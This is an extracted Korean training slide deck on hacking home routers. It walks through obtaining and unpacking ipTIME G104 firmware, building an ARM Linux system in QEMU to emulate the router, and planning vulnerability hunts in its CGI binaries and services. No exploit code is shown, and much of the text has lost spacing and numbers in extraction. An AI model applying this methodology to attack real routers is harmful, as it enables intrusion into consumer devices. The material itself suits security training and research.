Embedded 시스템 실전 해킹

Size: px
Start display at page:

Download "Embedded 시스템 실전 해킹"

Transcription

1 Home Router Hacking 유무선공유기해킹

2 Summary 공유기펌웨어이미지획득및구조분석 임베디드시스템개발과정이해 공유기파일시스템추출 QEMU를이용한가상공유기시스템실행 ARM Assembly 및 Exploiting

3 IPTIME 펌웨어획득 - 업데이트파일다운받기 -

4 업데이트파일다운받기

5 업데이트파일다운받기

6 업데이트파일다운받기

7 펌웨어를획득하는방법들 1. 제조사에서공개하는펌웨어다운로드 2. Programming Interface(ISP, ICSP) 를이용하여추출 3. 자동 / 수동업데이트가될때패킷스니핑 4. UART 디버그포트접속을통한쉘획득후추출 5. 논리적취약점을이용하여 Shell 접근권한획득후추출 6. Flash Memory Desoldering 후물리적덤프 7. JTAG 디버깅포트연결후펌웨어덤프

8 펌웨어파일전송 (winscp)

9 Firmware 파일분석 ls -al total 1892 drwxr-xr-x 2 root root 4096 Jun 25 15:05. drwxr-xr-x 26 root root 4096 Jun 25 14:52.. -rw-r--r-- 1 root root Jun 25 14:47 g104_kr_7_60.bin root@ip :~/mongii/iptime# file g104_kr_7_60.bin g104_kr_7_60.bin: data root@ip :~/mongii/iptime#

10 Firmware 파일분석 file strings xxd Hex editor IDA...

11 Embedded Linux 제작실습

12 Embedded Linux 의구조 Bootloader OS Kernel Root File System

13 실습내용 ARM CPU 기반의 Embedded Linux 구축 => Cross Compiler 이용 Bootloader 컴파일및부팅실습 Linux Kernel 컴파일및부팅실습 Root File System 컴파일및부팅실습

14 Cross Compile 란? 다른 architecture 의실행코드를생성하는것 예 x86 에서 x86 코드컴파일 => Not Cross Compiler ARM 에서 ARM 코드컴파일 => Not Cross Compiler x86 에서 ARM 코드컴파일 => Cross Compiler! x86 에서 MIPS 코드컴파일 => Cross Compiler! Cross Compiler 설치필요

15 Cross Compiler 설치 대표적인 ARM 용 Cross Compiler 들 CodeSourcery 에서배포 hain/arm-none-linux-gnueabi/ Android 에서배포 ndex.html uclibc 에서배포

16 Cross Compiler 설치 CodeSourcery Cross Compiler 설치 rm-none-linux-gnueabi/arm arm-nonelinux-gnueabi.bin 설치방법 apt-get install libgtk2.0-0:i386 libxtst6:i386 gtk2-enginesmurrine:i386 lib32stdc++6 libxt6:i386 libdbus-glib-1-2:i386 libasound2:i386 unzip gcc chmod +x arm arm-none-linux-gnueabi.bin./arm arm-none-linux-gnueabi.bin /root/mentographics/ 에설치됨 dash 오류가나기때문에 /bin/sh 를 /bin/bash 로변경 ln -sf /bin/bash /bin/sh

17 Cross Compiler 설치 CodeSourcery Cross Compiler 설치 Enter 혹은 Y 를계속입력

18 설치완료 cd /root/codesourcery/sourcery_codebench_lite_for_arm_gnu_linux cd bin arm-none-linux-gnueabi-gcc: fatal error: no input files compilation terminated. PATH = 환경변수에등록 export PATH=$PATH:/root/MentorGraphics/Sourcery_CodeBench_Lite_for_ARM_GNU_Linux/bin /root/.bashrc 에추가

19 참고 : apt-get 으로설치하기 apt-get install build-essential apt-get install gcc-arm-linux-gnueabihf 주의 : 본 cross compiler 로 u-boot 컴파일시엔 QEMU 로정상로딩되지않는오류발생

20 BootLoader

21 부트로더컴파일 부트로더란? 운영체제진입전에실행되는프로그램 하드웨어기본세팅 운영체제커널로딩 펌웨어및메모리읽기 / 쓰기가능 펌웨어업데이트 (network, serial, usb) 멀티부팅기능

22 대표적인부트로더들 Embedded U-boot Redboot Netboot General LILO Grub

23 U-boot 설치 # wget ftp://ftp.denx.de/pub/u-boot/u-boot tar.bz2 # bzip2 -d u-boot tar.bz2 # tar xvf u-boot tar # cd u-boot # make versatilepb_config ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabi- # make all ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabi-

24 Versatile? 널리사용되는 ARM 기반의개발보드

25 QEMU 가지원하는보드목록 # apt install qemu # qemu-system-arm -M help Supported machines are: none empty machine beagle Beagle board (OMAP3530) beaglexm Beagle board XM (OMAP3630) collie Collie PDA (SA-1110) nuri Samsung NURI board (Exynos4210) smdkc210 Samsung SMDKC210 board (Exynos4210) connex Gumstix Connex (PXA255) verdex Gumstix Verdex (PXA270) highbank Calxeda Highbank (ECX-1000) integratorcp ARM Integrator/CP (ARM926EJ-S) (default) kzm ARM KZM Emulation Baseboard (ARM1136) mainstone Mainstone II (PXA27x) musicpal Marvell 88w8618 / MusicPal (ARM926EJ-S) n800 Nokia N800 tablet aka. RX-34 (OMAP2420) n810 Nokia N810 tablet aka. RX-44 (OMAP2420)

26 U-boot 실행 qemu-system-arm -M versatilepb -m 128M -nographic -kernel u-boot.bin pulseaudio: pa_context_connect() failed pulseaudio: Reason: Connection refused pulseaudio: Failed to initialize PA contextaudio: Could not init `pa' audio driver U-Boot (Aug :43:06) DRAM: 0 kb Flash: 64 MB *** Warning - bad CRC, using default environment In: serial Out: serial Err: serial Net: SMC VersatilePB # VersatilePB # VersatilePB # help? - alias for 'help' base - print or set address offset bdinfo - print Board Info structure bootm - boot application image from memory bootp - boot image via network using BOOTP/TFTP protocol cmp - memory compare cp - memory copy crc32 - checksum calculation dhcp - boot image via network using DHCP/TFTP protocol

27 0 번지엔무엇이?

28 0 번지엔무엇이?

29 Memory 내의 u-boot image

30 U-boot 파일살펴보기

31 QEMU 에서빠져나오기 ctrl+a+x ctrl+a 를먼저한번눌렀다뗀후이어서 x

32 Kernel

33 리눅스커널컴파일하기 커널소스코드다운로드 x/linux tar.xz xz -d linux tar.xz ls linux tar tar xvf linux tar

34 리눅스커널컴파일하기 # make ARCH=arm versatile_defconfig # make ARCH=arm menuconfig - apt-get install lib32ncurses5 lib32ncurses5-dev bc // Kernel Features->Use the ARM EABI to compile the kernel 체크확인 # make ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabi- all # find. -name zimage./arch/arm/boot/zimage #

35 zimage 의구조 출처 :

36 zimage 의구조 vmlinux : 실제커널 piggy.gz : vmlinux 를압축한파일 misc.c : 압축해제수행 head.s : 압축해제된코드로 jump

37 커널부팅테스트 qemu-system-arm -M versatilepb -m 128M -kernel zimage -nographic -append "console=ttyama0,115200"

38 Bootloader + Kernel

39 vi include/configs/versatile.h #define CONFIG_BOOTDELAY 2 #define CONFIG_BOOTARGS "root=/dev/nfs mem=128m ip=dhcp "\ "netdev=25,0,0xf ,0xf ,eth0" #define CONFIG_BOOTDELAY 2 #define CONFIG_BOOTARGS "root=/dev/ram mem=128m console=ttyama0,115200" #define CONFIG_INITRD_TAG 1 * Ram Disk 방식을이용하여부팅하도록설정수정.

40 vi common/image.c #if defined(config_b2) defined(config_evb4510) defined(config_armadillo) /* * We need to copy the ramdisk to SRAM to let Linux boot */ if (rd_data) { memmove ((void *)rd_load, (uchar *)rd_data, rd_len); rd_data = rd_load; } #endif #if defined(config_b2) defined(config_evb4510) defined(config_armadillo) defined(config_versatile) /* * We need to copy the ramdisk to SRAM to let Linux boot */ if (rd_data) { memmove ((void *)rd_load, (uchar *)rd_data, rd_len); rd_data = rd_load; } #endif

41 U-boot 재컴파일 Uboot image 생성

42 부트로더 + 커널부팅성공 qemu-system-arm -M versatilepb -m 128M -kernel flash.bin -nographic VersatilePB # bootm 0x210000

43 Root File System

44 Root File System 루트파일시스템이란? 커널부팅완료후만나게되는파일들 OS 인터페이스 Shell X-Windows 기본프로그램들 Login, passwd, ls, id, ps, netstat 등등.. 라이브러리들 Glibc 등

45 BusyBox 소개 다양한유틸리티, 프로그램들을하나로통합한패키지프로그램 중복되는부분을제거함으로써용량최소화 임베디드운영체제에서많이사용됨 다운로드 tar.bz2

46 Busybox 컴파일 make ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabi- defconfig make ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabi- menuconfig 컴파일전에옵션변경 Busybox Setting -> Build Option -> Static binary 체크 make ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabiinstall

47 Busybox 컴파일

48 기본파일시스템생성 # cd _install/ # find. cpio -o --format=newc >../rootfs.img 3994 blocks # gzip -c../rootfs.img > rootfs.img.gz # cp /root/linux-4.1.6/arch/arm/boot/zimage.

49 Kernel + RFS 부팅테스트 qemu-system-arm -M versatilepb -m 128M -kernel zimage -initrd rootfs.img.gz -append "root=/dev/ram rdinit=/bin/sh console=ttyama0,115200" -nographic

50 Network 활성화하기 / # ifconfig eth netmask / # route add default gw / # / # ifconfig ifconfig: /proc/net/dev: No such file or directory eth0 Link encap:ethernet HWaddr 52:54:00:12:34:56 inet addr: Bcast: Mask: UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 Interrupt:57 Base address:0x8000 DMA chan:ff / # / # telnet HEAD / HTTP/1.0 HTTP/ OK Date: Sat, 12 Aug :55:10 GMT Server: Apache/ (EL) X-Powered-By: PHP/ Connection: close Content-Type: text/html; charset=euc_kr Connection closed by foreign host / #

51 Bootloader + Kernel + RFS 부팅 uboot/include/configs/versatile.h #define CONFIG_BOOTDELAY 2 #define CONFIG_BOOTARGS "root=/dev/ram rdinit=/bin/sh mem=128m console=ttyama0, #define CONFIG_INITRD_TAG 1 $ make all ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabidd if=/dev/zero of=flash.bin bs=1 count=7m dd if=u-boot.bin of=flash.bin conv=notrunc bs=1 mkimage -A arm -C none -O linux -T kernel -d zimage -a 0x e 0x zimage.uimg dd if=zimage.uimg of=flash.bin conv=notrunc bs=1 seek=2m mkimage -A arm -C none -O linux -T ramdisk -d rootfs.img.gz -a 0x e 0x rootfs.uimg dd if=rootfs.uimg of=flash.bin conv=notrunc bs=1 seek=5m

52 Bootloader + Kernel + RFS 부팅 qemu-system-arm -M versatilepb -m 128M -kernel flash.bin -nographic VersatilePB # bootm 0x x510000

53 자동부팅 uboot/include/configs/versatile.h #define CONFIG_BOOTDELAY 2 #define CONFIG_BOOTARGS "root=/dev/ram rdinit=/bin/sh mem=128m console=ttyama0, #define CONFIG_INITRD_TAG 1 #define CONFIG_BOOTCOMMAND "bootm 0x x510000" $ make all ARCH=arm CROSS_COMPILE=arm-none-linux-gnueabidd if=/dev/zero of=flash.bin bs=1 count=7m dd if=u-boot.bin of=flash.bin conv=notrunc bs=1 mkimage -A arm -C none -O linux -T kernel -d zimage -a 0x e 0x zimage.uimg dd if=zimage.uimg of=flash.bin conv=notrunc bs=1 seek=2m mkimage -A arm -C none -O linux -T ramdisk -d rootfs.img.gz -a 0x e 0x rootfs.uimg dd if=rootfs.uimg of=flash.bin conv=notrunc bs=1 seek=5m

54 자동부팅

55 리눅스배포본이란? 기본리눅스커널을기반위에어떤 Root File System 및 Interface 를구성하느냐에따라서로다른배포본이된다. Ubuntu Linux Fedora Linux Android Linux

56 QEMU 에 android 올리기 t=hit&shwhere=subject&command=body&no=240

57 실제장비에넣기

58 실제장비에넣기 ROM Writer Writing 전용장비 Flash memory 에 writing JTAG 하드웨어디버깅장비 Flash memory 에 writing

59 공유기 Firmware 분석하기

60 Embedded Linux 의구조 Bootloader OS Kernel Root File System

61 Firmware 자동분석툴 Binwalk (Firmware Analysis Tool) 펌웨어파일의구성분석 펌웨어분석의원리 Signature 탐색 Ex> squashfs == hsqs apt-get install binwalk FMK (Firmware Mod Kit) 펌웨어파일내에서각종파일추출 혹은수정된파일을기반으로새펌웨어빌드

62 binwalk binwalk g104_kr_7_60.bin DECIMAL HEX DESCRIPTION x10038 gzip compressed data, was "i.tmp", from Unix, last modified: Tue Apr 12 07:55: xB0000 Squashfs filesystem, little endian, version 3.0, size: bytes, 243 inodes, blocksize: bytes, created: Tue Apr 12 07:55:

63 Bootloader 분석

64 Binwalk 결과재확인 binwalk g104_kr_7_60.bin DECIMAL HEX DESCRIPTION x10038 gzip compressed data, was "i.tmp", from Unix, last modified: Tue Apr 12 07:55: xB0000 Squashfs filesystem, little endian, version 3.0, size: bytes, 243 inodes, blocksize: bytes, created: Tue Apr 12 07:55: * Offset 이 라는말은그앞에무언가가더있다라는것을의미함

65 펌웨어의시작부분

66 Bootloader 분석 dd if=./g104_kr_7_60.bin of=./bootloader count=65592 bs= records in records out bytes (66 kb) copied, s, 920 kb/s xxd bootloader : d7f0 29e3 01d4 a0e3 dbf0 29e3 dcd1 9fe5..)...) : d2f0 29e3 d8d1 9fe5 d841 9fe a0e3..)...a...y : e0 d081 9fe e5 cc51 9fe5.P...Q : e0 c881 9fe e5 c451 9fe5.P...Q.. 000fff0: : e g : a 3535 Tue Apr 12 16: : 3a a b00 : : c85f 1c00 b1f0 860e._...

67 Bootloader 분석

68 IDA 로 Bootloader 확인

69 Kernel 분석

70 Kernel 의구조 출처 :

71 Binwalk 결과재확인 binwalk g104_kr_7_60.bin DECIMAL HEX DESCRIPTION x10038 gzip compressed data, was "i.tmp", from Unix, last modified: Tue Apr 12 07:55: xB0000 Squashfs filesystem, little endian, version 3.0, size: bytes, 243 inodes, blocksize: bytes, created: Tue Apr 12 07:55:

72 Extraction dd skip=65592 if=./g104_kr_7_60.bin of=./i.tmp.gz bs= records in records out bytes (1.9 MB) copied, s, 907 kb/s file i.tmp.gz i.tmp.gz: gzip compressed data, was "i.tmp", from Unix, last modified: Tue Apr 12 07:55: ls -al total 3780 drwxr-xr-x 2 root root 4096 Jun 25 15:11. drwxr-xr-x 26 root root 4096 Jun 25 14:52.. -rw-r--r-- 1 root root Jun 25 15:09 bootloader -rw-r--r-- 1 root root Jun 25 14:47 g104_kr_7_60.bin -rw-r--r-- 1 root root Jun 25 15:11 i.tmp.gz root@ip :~/mongii/iptime#

73 -e : extraction root@ubuntu:~/iptime_firmware# binwalk --help Binwalk v1.0 Craig Heffner, Usage: binwalk [OPTIONS] [FILE1] [FILE2] [FILE3]... -o, --offset=<int> Start scan at this file offset -l, --length=<int> Number of bytes to scan -b, --align=<int> Set byte alignment [default: 1] -m, --magic=<file> Specify an alternate magic file to use -i, --include=<filter> Include matches that are normally excluded and that have <filter> in their description -x, --exclude=<filter> Exclude matches that have <filter> in their description -y, --search=<filter> Only search for matches that have <filter> in their description -g, --grep=<text> Grep results for the specified text -R, --raw-bytes=<string> Search for a sequence of raw bytes instead of using the default magic signatures -f, --file=<file> Log results to file -D, --dd=<type:ext[:cmd]> Extract entries whose descriptions match <type>, give them file extension <ext>, and execute <cmd> -e, --extract=[file] Automatically extract known file types. Load rules from file, if specified. -r, --rm Cleanup extracted files and zero-size files -d, --delay Delay file extraction for files with known footers -a, --all Include all short signatures -I, --show-invalid Show results marked as invalid -A, --opcodes Scan for executable code -C, --cast Cast file contents as various data types -k, --keep-going Show all matching results at a given offset, not just the first one -q, --quiet Supress output to stdout -v, --verbose Be verbose (specify twice for very verbose) -u, --update Update magic signature files -h, --help Show help output root@ubuntu:~/iptime_firmware#

74 i.tmp.gz 분석

75 i.tmp.gz 분석

76 gzip d i.tmp.gz i.tmp 분석

77 문자열확인 gzip 해제코드가들어있는것을알수있음 misc.c

78 헤더로추정되는값삭제

79 IDA 로확인 piggy.gz 압축해제코드

80 i.tmp 의구조 binwalk i.tmp DECIMAL HEX DESCRIPTION x2EA0 gzip compressed data, from Unix, last modified: Thu Apr 15 01:49: , max compression xA0130 gzip compressed data, was "initrd", from Unix, last modified: Tue Apr 12 07:55: , max compression

81 i.tmp 의구조 Iptime 의부트로더에서사용하는이미지파일 kernel 과 initrd 를포함하고있다.

82 Root File System 파일추출

83 Initrd 추출 binwalk -e i.tmp # file initrd initrd: Linux rev 1.0 ext2 filesystem data (mounted or unclean), UUID=fbc0cc35-5c72-4ef0-bc05-5d6b9bdc8e50 mkdir FILE_SYSTEM mount initrd./file_system

84 Initrd 추출 cd FILE_SYSTEM/ ls -al total 26 drwxr-xr-x 12 root root 1024 Apr drwxr-xr-x 3 root root 4096 Jun 25 15:22.. lrwxrwxrwx 1 root root 11 Apr bin -> /cramfs/bin drwxr-xr-x Apr cramfs drwxr-xr-x Apr dev drwxr-xr-x Apr etc drwxr-xr-x Apr home lrwxrwxrwx 1 root root 11 Apr lib -> /cramfs/lib drwx root root Apr lost+found lrwxrwxrwx 1 root root 13 Apr ndbin -> /cramfs/ndbin drwxr-xr-x Apr proc drwxr-xr-x Apr save lrwxrwxrwx 1 root root 12 Apr sbin -> /cramfs/sbin drwxr-xr-x Apr tmp drwxr-xr-x Apr upgrade-bin lrwxrwxrwx 1 root root 11 Apr usr -> /cramfs/usr drwxr-xr-x Apr var root@ip :~/mongii/iptime/file_system#

85 Binwalk 결과재확인 binwalk g104_kr_7_60.bin DECIMAL HEX DESCRIPTION x10038 gzip compressed data, was "i.tmp", from Unix, last modified: Tue Apr 12 07:55: xB0000 Squashfs filesystem, little endian, version 3.0, size: bytes, 243 inodes, blocksize: bytes, created: Tue Apr 12 07:55:

86 Extraction dd skip= if=./g104_kr_7_60.bin of=./rfs.bin bs= records in records out bytes (1.2 MB) copied, s, 902 kb/s file RFS.bin RFS.bin: Squashfs filesystem, little endian, version 3.0, bytes, 243 inodes, blocksize: bytes, created: Tue Apr 12 07:55: ls -al RFS.bin -rw-r--r-- 1 root root Jun 25 15:24 RFS.bin root@ubuntu:~/iptime_firmware# root@ubuntu:~/iptime_firmware#

87 Firmware-mod-kit

88 FMK 설치 # apt-get install git build-essential zlib1g-dev liblzma-dev python-magic tar xvfz fmk_099.tar.gz cd fmk/src./configure make cd..

89 Squashfs 추출 RFS.bin (B0000.squashfs) Attempting to extract SquashFS.X file system... Trying./src/squashfs-2.1-r2/unsquashfs-lzma... Trying./src/squashfs-2.1-r2/unsquashfs... Trying./src/squashfs-3.0/unsquashfs-lzma... created 173 files created 17 directories created 53 symlinks created 0 devices created 0 fifos File system sucessfully extracted! MKFS="./src/squashfs-3.0/mksquashfs-lzma" root@ip :~/mongii/fmk/fmk#

90 파일시스템추출결과 cd squashfs-root/ ls -al total 40 drwxr-xr-x 10 root root 4096 Apr drwxrwxr-x 5 ubuntu ubuntu 4096 Jun 25 15:28.. drwxr-xr-x Apr bin drwxr-xr-x Apr help drwxr-xr-x 2 root root 4096 Apr images2 drwxr-xr-x Apr js drwxr-xr-x Apr lib drwxr-xr-x Apr ndbin drwxr-xr-x Apr sbin drwxr-xr-x Apr usr root@ip :~/mongii/fmk/fmk/squashfs-root#

91 Iptime 펌웨어의구조 압축해제및부트로더이미지참조 Boot Loader i.tmp.gz Squashfs kernel (zimage) Initrd (ext2) /cramfs/ 에마운트 Root File System

92 파일시스템복원 initrd 마운트 mount initrd FILE_SYSTEM Squashfs 파일추출 unsquashfs_all.sh B0000.squashfs 합치기 mkdir ALL_FILE_SYSTEM cd ALL_FILE_SYSTEM - cp XXX/FILE_SYSTEM/*. Rfpd - cp YYY/squashfs-root/*./cramfs/ -Rfpd

93 파일시스템복원

94 Qemu 로돌리기 qemu-arm -L.././busybox BusyBox v ( : ) multi-call binary Usage: busybox [function] [arguments]... or: [function] [arguments]... BusyBox is a multi-call binary that combines many common Unix utilities into a single executable. Most people will create a link to busybox for each function they wish to use, and BusyBox will act like whatever it was invoked as. Currently defined functions: busybox, cat, chmod, cp, df, echo, gunzip, gzip, ifconfig, insmod, kill, lash, ln, ls, lsmod, mkdir, mknod, mount, mv, ps, reboot, rm, rmmod, route, sh, sync, umount, zcat root@ip :~/mongii/fmk/fmk/squashfs-root/bin#

95 Qemu 로돌리기 qemu-arm -L.././busybox ifconfig eth0 Link encap:ethernet HWaddr 00:0C:29:9A:54:2E inet addr: Bcast: Mask: UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets: errors:0 dropped:0 overruns:0 frame:0 TX packets: errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes: (78.8 MiB) TX bytes: (162.1 MiB) Interrupt:19 Base address:0x2000 lo Link encap:local Loopback inet addr: Mask: UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 ib) TX bytes:0 (0.0 ib)

96 Qemu 로돌리기 qemu-arm -L.././timepro.cgi Content-type: text/html; charset=euc-kr <html> <script> if( ipstr == ' ') { return document.getelementsbyname(ip+4)[0]; } return 0; } </script> <head><title> </title> <style></style></head> </html> root@ip :~/mongii/fmk/fmk/squashfs-root/bin#

97 가상 IPTIME 시스템 cd 구성한 IPTIME 파일시스템경로 # find. cpio -o --format=newc >../rootfs.img gzip -c../rootfs.img > rootfs.img.gz zimage : 앞서실습을통해만든 zimage 파일 iptime 펌웨어에서추출한 zimage 는보드호환이되지않음 qemu-system-arm -M versatilepb -m 128M -kernel zimage -initrd rootfs.img.gz -append "root=/dev/ram rdinit=/bin/sh console=ttyama0,115200" -nographic mount -t proc /proc /proc ps -aux

98 가상 IPTIME 시스템 Uncompressing Linux... done, booting the kernel. Booting Linux on physical CPU 0x0 Linux version (gcc version (Sourcery G++ Lite 2009q3-67) ) #1 Thu Aug 20 17:46:08 KST 2015 CPU: ARM926EJ-S [ ] revision 5 (ARMv5TEJ), cr= CPU: VIVT data cache, VIVT instruction cache Machine: ARM-Versatile PB Memory policy: Data cache writeback sched_clock: 32 bits at 24MHz, resolution 41ns, wraps every ns Built 1 zonelists in Zone order, mobility grouping on. Total pages: Kernel command line: root=/dev/ram rdinit=/bin/sh console=ttyama0, PID hash table entries: 512 (order: -1, 2048 bytes) Dentry cache hash table entries: (order: 4, bytes) Inode-cache hash table entries: 8192 (order: 3, bytes) Memory: K/131072K available (3209K kernel code, 139K rwdata, 796K rodata, 120K init, 119K bss, 9476K reserved, 0K cma-reserved) Virtual kernel memory layout: vector : 0xffff0000-0xffff1000 ( 4 kb) fixmap : 0xffc xfff00000 (3072 kb) vmalloc : 0xc xff ( 872 MB) lowmem : 0xc xc ( 128 MB) modules : 0xbf xc ( 16 MB).text : 0xc xc03f1944 (4007 kb).init : 0xc03f2000-0xc ( 120 kb).data : 0xc xc0432e00 ( 140 kb).bss : 0xc0432e00-0xc0450d04 ( 120 kb) NR_IRQS: BusyBox v ( : ) Built-in shell (lash) Enter 'help' for a list of built-in commands. input: AT Raw Set 2 keyboard as /devices/fpga:06/serio0/input/input0 / # input: ImExPS/2 Generic Explorer Mouse as /devices/fpga:07/serio1/input/input2 / #

99 Network 활성화 qemu-system-arm -M versatilepb -m 128M -kernel zimage - initrd rootfs.img.gz -append "root=/dev/ram rdinit=/bin/sh console=ttyama0,115200" -nographic - redir tcp:8080::80 / # / # busybox ifconfig eth netmask smc91x smc91x.0 eth0: link up / # busybox route add default gw / # / # cd /sbin /cramfs/sbin #./httpd /cramfs/sbin #

100 관리자페이지접속

101 공유기취약점탐지전략

102 유무선공유기의공격벡터들 공유기관리페이지 Ex> 웹해킹 (ex. Shell command execution) CGI 해킹 (ex. Memory corruption) 공유기원격서비스공격 Ex> dhcpd, webserver, ftpserver, SNMP, VPN

103 취약점탐지전략 디렉토리구성파악 사용자의입력을받는대상파악 주요취약점존재여부분석 논리적취약점 버퍼오버플로우 포맷스트링 Debugging Exploit!

104 취약점탐지전략 디렉토리구성파악 사용자의입력을받는대상파악 주요취약점존재여부분석 논리적취약점 버퍼오버플로우 포맷스트링 Debugging Exploit!

105 디렉토리구조 / # ls -al lrwxrwxrwx usr -> /cramfs/usr lrwxrwxrwx ndbin -> /cramfs/ndbin lrwxrwxrwx bin -> /cramfs/bin lrwxrwxrwx sbin -> /cramfs/sbin lrwxrwxrwx lib -> /cramfs/lib drwxr-xr-x var drwxr-xr-x upgrade-bin drwxr-xr-x tmp drwxr-xr-x save dr-xr-xr-x proc drwxr-xr-x home drwxr-xr-x etc drwxr-xr-x dev drwxr-xr-x cramfs drwxr-xr-x drwxr-xr-x / #

106 부팅과정분석 /etc/init.d/rcs #!/bin/sh mount -t proc /proc /proc echo 1 >> /proc/sys/net/ipv4/ip_forward /sbin/inittime /sbin/inittime 공유기상태진단 공유기초기화작업수행 각종서비스실행

107 프로세스목록 /var # ps PID TTY Uid Size State Command 1 root 768 S init 2 root 0 S [keventd] 3 root 0 S [ksoftirqd_cpu0] 4 root 0 S [kswapd] 5 root 0 S [bdflush] 6 root 0 S [kupdated] 7 root 0 S [mtdblockd] 30 root 0 S [polling] 103 root 0 D [insmod] 254 root 588 S upnpd 269 root 760 S httpd 271 root 564 S /sbin/dhcpd 276 root 496 S /sbin/pptpd -b br0 278 root 736 S apcpd 280 root 736 S /sbin/iptables-q 282 root 544 S /sbin/dhclient -i eth1 -p dhclient.eth1 700 root 492 R ps /var #

108 /var # cat boa_vh.conf Port 80 User root Group root ServerAdmin root@localhost VirtualHost DocumentRoot /home/httpd UserDir public_html DirectoryIndex index.html KeepAliveMax 100 KeepAliveTimeout 10 MimeTypes /etc/mime.types DefaultType text/plain AddType application/x-httpd-cgi cgi AddType text/html html ScriptAlias /cgi-bin/ /bin/ ScriptAlias /testbin/ /tmp/ ScriptAlias /nd-bin/ /ndbin/ ScriptAlias /login/ /bin/login/ ScriptAlias /ddns/ /bin/ddns/ ServerName "" SinglePostLimit Auth /cgi-bin /etc/httpd.passwd Auth /main /etc/httpd.passwd /var # Boa Web server /var/boa_vh.conf

109 웹관리자페이지

110 웹관리자페이지

111 /home/httpd /home/httpd # ls -al -rw-r--r build_date -rw-r--r version -rw-r--r checkup -rwxr-xr-x mypage_menu.html -rwxr-xr-x mypage.html -rwxr-xr-x time.v2.css lrwxrwxrwx help -> /cramfs/help lrwxrwxrwx js -> /cramfs/js lrwxrwxrwx images2 -> /cramfs/images2 drwxr-xr-x rwxr-xr-x time.css drwxr-xr-x drwxr-xr-x rwxr-xr-x index.html drwxr-xr-x drwxr-xr-x /home/httpd #

112 /home/httpd /home/httpd # cat index.html <html> <head> <meta http-equiv=refresh content="0; URL=login/login.cgi"> <title></title> <body> </body> </html> /home/httpd #

113 /var # cat boa_vh.conf Port 80 User root Group root ServerAdmin root@localhost VirtualHost DocumentRoot /home/httpd UserDir public_html DirectoryIndex index.html KeepAliveMax 100 KeepAliveTimeout 10 MimeTypes /etc/mime.types DefaultType text/plain AddType application/x-httpd-cgi cgi AddType text/html html ScriptAlias /cgi-bin/ /bin/ ScriptAlias /testbin/ /tmp/ ScriptAlias /nd-bin/ /ndbin/ ScriptAlias /login/ /bin/login/ ScriptAlias /ddns/ /bin/ddns/ ServerName "" SinglePostLimit Auth /cgi-bin /etc/httpd.passwd Auth /main /etc/httpd.passwd /var # /var/boa_vh.conf

114 IPTIME 의 CGI 들 /cramfs/bin # ls -al *.cgi -rwxr-xr-x wps_wizard.cgi -rwxr-xr-x upgrade.cgi -rwxr-xr-x timepro.cgi lrwxrwxrwx start.cgi -> /bin/command.cgi lrwxrwxrwx d.cgi -> /bin/timepro.cgi -rwxr-xr-x ated.cgi /cramfs/bin # /cramfs/bin # ls -al login/login.cgi -rwxr-xr-x login/login.cgi /cramfs/bin # / # ls -al /ndbin/*.cgi lrwxrwxrwx /ndbin/netdetect.cgi -> /bin/timepro.cgi / # * 총 5 개의 cgi 파일존재

115 취약점탐색 ( 정적분석 ) Main(entry point) 를시작으로추적 Cross Reference 기반취약점탐색 Dangerous Functions strcpy strcat sprintf system execl getenv

116 취약점탐색 ( 동적분석 ) Dangerous Function 의호출실시간추적 ltrace strace gdb 가상 OS 혹은백도어, UART 등을이용한쉘활용 Cross compiler 로위바이너리들을컴파일한후기기에업로드

117 ARM 기반 Debugging 필요성 취약점탐색 Shellcode 가올라간주소찾기 Exploit 실패시원인분석 관련도구 ARM 용 gdb ARM 용 strace ARM 용 ltrace

118 Cross compile 테스트 cat main.c int main() { } printf("hello world\n"); root@grayhash:~# root@grayhash:~# root@grayhash:~# arm-none-linux-gnueabi-gcc -o main main.c -static main.c: In function 'main': main.c:4:2: warning: incompatible implicit declaration of built-in function 'printf' [enabled by default] printf("hello world\n"); ^ root@grayhash:~# root@grayhash:~# file main main: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux , not stripped root@grayhash:~# root@grayhash:~#

119 Cross compile 테스트 # rm rootfs.img.gz zimage # find. cpio -o --format=newc >../rootfs.img # gzip -c../rootfs.img > rootfs.img.gz # cp /root/zimage. # qemu-system-arm -M versatilepb -m 128M -kernel zimage -initrd rootfs.img.gz -append "root=/dev/ram rdinit=/bin/sh console=ttyama0,115200" -nographic -redir tcp:8080::80 - redir BusyBox v ( : ) Built-in shell (lash) Enter 'help' for a list of built-in commands. / # input: ImExPS/2 Generic Explorer Mouse as /devices/fpga:07/serio1/input/input2 / # / #./main hello world / #

120 strace 컴파일 export CC=/root/MentorGraphics/Sourcery_CodeBench_Lite_for_ARM_GNU_Linux/bin/armnone-linux-gnueabi-gcc export STRIP=/root/MentorGraphics/Sourcery_CodeBench_Lite_for_ARM_GNU_Linux/bin/arm -none-linux-gnueabi-strip./configure --host=arm-linux CFLAGS=-static make 파일시스템재구성 사용법./strace -i -f -p 285(HTTPD s PID)

121 프로세스실행 Monitoring strace -i f p PID e trace=execve

122 gdb & gdbserver 컴파일 wget 구버전 gcc 컴파일러필요 export CC=/root/cross-compiler-armv4l/bin/armv4l-gcc export STRIP=/root/cross-compiler-armv4l/bin/armv4l-strip ln -s /root/cross-compiler-armv4l/bin/armv4l-ar /bin/arm-linux-ar apt install texinfo termcap tar.gz 설치후 cp libtermcap.a /root/ --host=arm-linux make vi./gdb-6.8/gdb/configure 6289 라인에추가 : ac_cv_search_tgetent="/root/libtermcap.a"./configure --host=arm-linux CFLAGS=-static (gdb-6.8 디렉토리안에서실행 ) make

